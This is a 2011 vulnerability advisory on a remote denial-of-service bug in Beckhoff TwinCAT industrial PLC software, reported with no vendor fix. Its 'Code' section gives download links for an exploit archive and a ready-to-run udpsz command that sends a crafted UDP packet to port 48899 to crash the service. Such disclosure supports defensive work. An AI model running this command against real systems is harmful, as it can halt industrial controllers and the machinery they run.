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Luigi Auriemma
Application: Beckhoff TwinCAT
http://www.beckhoff.de/twincat/
Versions: <= 2.11.0.2004
Platforms: Windows
Bug: Denial of Service
Exploitation: remote
Date: 13 Sep 2011
Author: Luigi Auriemma
e-mail: [email protected]
web: aluigi.org
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1) Introduction
2) Bug
3) The Code
4) Fix
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===============
1) Introduction
===============
From vendor's website:
"The Beckhoff TwinCAT software system turns almost any compatible PC
into a real-time controller with a multi-PLC system, NC axis control,
programming environment and operating station."
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2) Bug
======
Denial of Service caused by an invalid read access.
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===========
3) The Code
===========
http://aluigi.org/testz/udpsz.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15707.zip
udpsz -C "03 66 14 71 00 00 00 00 06 00 00 00 0a ff ff 02 01 01 10 27" -b 0xff SERVER 48899 0x5fe
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4) Fix
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No fix.
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